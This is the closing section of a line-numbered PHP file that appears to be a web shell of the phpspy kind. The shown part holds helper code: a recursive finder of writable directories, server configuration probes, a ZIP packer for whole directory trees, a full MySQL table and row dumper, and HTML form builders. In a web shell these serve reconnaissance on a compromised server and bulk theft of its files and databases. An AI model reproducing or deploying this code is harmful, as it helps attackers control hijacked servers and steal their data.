1461 $uppath = implode('/', $pathdb).'/';
1462 $uppath = str_replace('//', '/', $uppath);
1463 return $uppath;
1464}
1465function getcfg($varname) {
1466 $result = get_cfg_var($varname);
1467 if ($result == 0) {
1468 return 'No';
1469 } elseif ($result == 1) {
1470 return 'Yes';
1471 } else {
1472 return $result;
1473 }
1474}
1475function getfun($funName) {
1476 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1477}
1478function GetList($dir){
1479 global $dirdata,$j,$nowpath;
1480 !$j && $j=1;
1481 if ($dh = opendir($dir)) {
1482 while ($file = readdir($dh)) {
1483 $f=str_replace('//','/',$dir.'/'.$file);
1484 if($file!='.' && $file!='..' && is_dir($f)){
1485 if (is_writable($f)) {
1486 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1487 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1488 $dirdata[$j]['dirchmod']=getChmod($f);
1489 $dirdata[$j]['dirperm']=getPerms($f);
1490 $dirdata[$j]['dirlink']=ue($dir);
1491 $dirdata[$j]['server_link']=$f;
1492 $dirdata[$j]['client_link']=ue($f);
1493 $j++;
1494 }
1495 GetList($f);
1496 }
1497 }
1498 closedir($dh);
1499 clearstatcache();
1500 return $dirdata;
1501 } else {
1502 return array();
1503 }
1504}
1505function qy($sql) {
1506 $res = $error = '';
1507 if(!$res = @mysql_query($sql)) {
1508 return 0;
1509 } else if(is_resource($res)) {
1510 return 1;
1511 } else {
1512 return 2;
1513 }
1514 return 0;
1515}
1516function q($sql) {
1517 return @mysql_query($sql);
1518}
1519function fr($qy){
1520 mysql_free_result($qy);
1521}
1522function sizecount($size) {
1523 if($size > 1073741824) {
1524 $size = round($size / 1073741824 * 100) / 100 . ' G';
1525 } elseif($size > 1048576) {
1526 $size = round($size / 1048576 * 100) / 100 . ' M';
1527 } elseif($size > 1024) {
1528 $size = round($size / 1024 * 100) / 100 . ' K';
1529 } else {
1530 $size = $size . ' B';
1531 }
1532 return $size;
1533}
1534class PHPZip{
1535 var $out='';
1536 function PHPZip($dir) {
1537 if (@function_exists('gzcompress')) {
1538 $curdir = getcwd();
1539 if (is_array($dir)) $filelist = $dir;
1540 else{
1541 $filelist=$this -> GetFileList($dir);//ОДјюБР±н
1542 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1543 }
1544 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1545 else chdir($curdir);
1546 if (count($filelist)>0){
1547 foreach($filelist as $filename){
1548 if (is_file($filename)){
1549 $fd = fopen ($filename, 'r');
1550 $content = @fread ($fd, filesize($filename));
1551 fclose ($fd);
1552 if (is_array($dir)) $filename = basename($filename);
1553 $this -> addFile($content, $filename);
1554 }
1555 }
1556 $this->out = $this -> file();
1557 chdir($curdir);
1558 }
1559 return 1;
1560 }
1561 else return 0;
1562 }
1563 function GetFileList($dir){
1564 static $a;
1565 if (is_dir($dir)) {
1566 if ($dh = opendir($dir)) {
1567 while ($file = readdir($dh)) {
1568 if($file!='.' && $file!='..'){
1569 $f=$dir .'/'. $file;
1570 if(is_dir($f)) $this->GetFileList($f);
1571 $a[]=$f;
1572 }
1573 }
1574 closedir($dh);
1575 }
1576 }
1577 return $a;
1578 }
1579
1580 var $datasec = array();
1581 var $ctrl_dir = array();
1582 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1583 var $old_offset = 0;
1584
1585 function unix2DosTime($unixtime = 0) {
1586 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1587 if ($timearray['year'] < 1980) {
1588 $timearray['year'] = 1980;
1589 $timearray['mon'] = 1;
1590 $timearray['mday'] = 1;
1591 $timearray['hours'] = 0;
1592 $timearray['minutes'] = 0;
1593 $timearray['seconds'] = 0;
1594 }
1595 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1596 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1597 }
1598
1599 function addFile($data, $name, $time = 0) {
1600 $name = str_replace('\\', '/', $name);
1601
1602 $dtime = dechex($this->unix2DosTime($time));
1603 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1604 . '\x' . $dtime[4] . $dtime[5]
1605 . '\x' . $dtime[2] . $dtime[3]
1606 . '\x' . $dtime[0] . $dtime[1];
1607 eval('$hexdtime = "' . $hexdtime . '";');
1608 $fr = "\x50\x4b\x03\x04";
1609 $fr .= "\x14\x00";
1610 $fr .= "\x00\x00";
1611 $fr .= "\x08\x00";
1612 $fr .= $hexdtime;
1613
1614 $unc_len = strlen($data);
1615 $crc = crc32($data);
1616 $zdata = gzcompress($data);
1617 $c_len = strlen($zdata);
1618 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1619 $fr .= pack('V', $crc);
1620 $fr .= pack('V', $c_len);
1621 $fr .= pack('V', $unc_len);
1622 $fr .= pack('v', strlen($name));
1623 $fr .= pack('v', 0);
1624 $fr .= $name;
1625 $fr .= $zdata;
1626 $fr .= pack('V', $crc);
1627 $fr .= pack('V', $c_len);
1628 $fr .= pack('V', $unc_len);
1629
1630 $this -> datasec[] = $fr;
1631 $new_offset = strlen(implode('', $this->datasec));
1632
1633 $cdrec = "\x50\x4b\x01\x02";
1634 $cdrec .= "\x00\x00";
1635 $cdrec .= "\x14\x00";
1636 $cdrec .= "\x00\x00";
1637 $cdrec .= "\x08\x00";
1638 $cdrec .= $hexdtime;
1639 $cdrec .= pack('V', $crc);
1640 $cdrec .= pack('V', $c_len);
1641 $cdrec .= pack('V', $unc_len);
1642 $cdrec .= pack('v', strlen($name) );
1643 $cdrec .= pack('v', 0 );
1644 $cdrec .= pack('v', 0 );
1645 $cdrec .= pack('v', 0 );
1646 $cdrec .= pack('v', 0 );
1647 $cdrec .= pack('V', 32 );
1648 $cdrec .= pack('V', $this -> old_offset );
1649 $this -> old_offset = $new_offset;
1650 $cdrec .= $name;
1651
1652 $this -> ctrl_dir[] = $cdrec;
1653 }
1654
1655 function file() {
1656 $data = implode('', $this -> datasec);
1657 $ctrldir = implode('', $this -> ctrl_dir);
1658 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1659 }
1660}
1661function sqldumptable($table, $fp=0) {
1662 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1663 $tabledump .= "CREATE TABLE $table (\n";
1664
1665 $firstfield=1;
1666
1667 $fields = q("SHOW FIELDS FROM $table");
1668 while ($field = mysql_fetch_array($fields)) {
1669 if (!$firstfield) {
1670 $tabledump .= ",\n";
1671 } else {
1672 $firstfield=0;
1673 }
1674 $tabledump .= " $field[Field] $field[Type]";
1675 if (!empty($field["Default"])) {
1676 $tabledump .= " DEFAULT '$field[Default]'";
1677 }
1678 if ($field['Null'] != "YES") {
1679 $tabledump .= " NOT NULL";
1680 }
1681 if ($field['Extra'] != "") {
1682 $tabledump .= " $field[Extra]";
1683 }
1684 }
1685 fr($fields);
1686
1687 $keys = q("SHOW KEYS FROM $table");
1688 while ($key = mysql_fetch_array($keys)) {
1689 $kname=$key['Key_name'];
1690 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1691 $kname="UNIQUE|$kname";
1692 }
1693 if(!is_array($index[$kname])) {
1694 $index[$kname] = array();
1695 }
1696 $index[$kname][] = $key['Column_name'];
1697 }
1698 fr($keys);
1699
1700 while(list($kname, $columns) = @each($index)) {
1701 $tabledump .= ",\n";
1702 $colnames=implode($columns,",");
1703
1704 if ($kname == "PRIMARY") {
1705 $tabledump .= " PRIMARY KEY ($colnames)";
1706 } else {
1707 if (substr($kname,0,6) == "UNIQUE") {
1708 $kname=substr($kname,7);
1709 }
1710 $tabledump .= " KEY $kname ($colnames)";
1711 }
1712 }
1713
1714 $tabledump .= "\n);\n\n";
1715 if ($fp) {
1716 fwrite($fp,$tabledump);
1717 } else {
1718 echo $tabledump;
1719 }
1720
1721 $rows = q("SELECT * FROM $table");
1722 $numfields = mysql_num_fields($rows);
1723 while ($row = mysql_fetch_array($rows)) {
1724 $tabledump = "INSERT INTO $table VALUES(";
1725
1726 $fieldcounter=-1;
1727 $firstfield=1;
1728 while (++$fieldcounter<$numfields) {
1729 if (!$firstfield) {
1730 $tabledump.=", ";
1731 } else {
1732 $firstfield=0;
1733 }
1734
1735 if (!isset($row[$fieldcounter])) {
1736 $tabledump .= "NULL";
1737 } else {
1738 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1739 }
1740 }
1741
1742 $tabledump .= ");\n";
1743
1744 if ($fp) {
1745 fwrite($fp,$tabledump);
1746 } else {
1747 echo $tabledump;
1748 }
1749 }
1750 fr($rows);
1751 if ($fp) {
1752 fwrite($fp,"\n");
1753 } else {
1754 echo "\n";
1755 }
1756}
1757
1758function ue($str){
1759 return urlencode($str);
1760}
1761
1762function p($str){
1763 echo $str."\n";
1764}
1765
1766function tbhead() {
1767 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1768}
1769function tbfoot(){
1770 p('</table>');
1771}
1772
1773function makehide($name,$value=''){
1774 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1775}
1776
1777function makeinput($arg = array()){
1778 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1779 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1780 !$arg['type'] && $arg['type'] = 'text';
1781 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1782 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1783 if ($arg['newline']) {
1784 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1785 } else {
1786 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1787 }
1788}
1789
1790function makeselect($arg = array()){
1791 if ($arg['onchange']) {
1792 $onchange = 'onchange="'.$arg['onchange'].'"';
1793 }
1794 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1795 if ($arg['newline']) p('<p>');
1796 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1797 if (is_array($arg['option'])) {
1798 foreach ($arg['option'] as $key=>$value) {
1799 if ($arg['selected']==$key) {
1800 p("<option value=\"$key\" selected>$value</option>");
1801 } else {
1802 p("<option value=\"$key\">$value</option>");
1803 }
1804 }
1805 }
1806 p("</select>");
1807 if ($arg['newline']) p('</p>');
1808}
1809function formhead($arg = array()) {
1810 !$arg['method'] && $arg['method'] = 'post';
1811 !$arg['action'] && $arg['action'] = $self;
1812 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1813 !$arg['name'] && $arg['name'] = 'form1';
1814 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1815 if ($arg['title']) {
1816 p('<h2>'.$arg['title'].' »</h2>');
1817 }
1818}
1819function maketext($arg = array()){
1820 !$arg['cols'] && $arg['cols'] = 100;
1821 !$arg['rows'] && $arg['rows'] = 25;
1822 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1823 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1824}
1825function formfooter($name = ''){
1826 !$name && $name = 'submit';
1827 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1828 p('</form>');
1829}
1830function formfoot(){
1831 p('</form>');
1832}
1833function pr($a) {
1834 echo '<pre>';
1835 print_r($a);
1836 echo '</pre>';
1837}
1838?>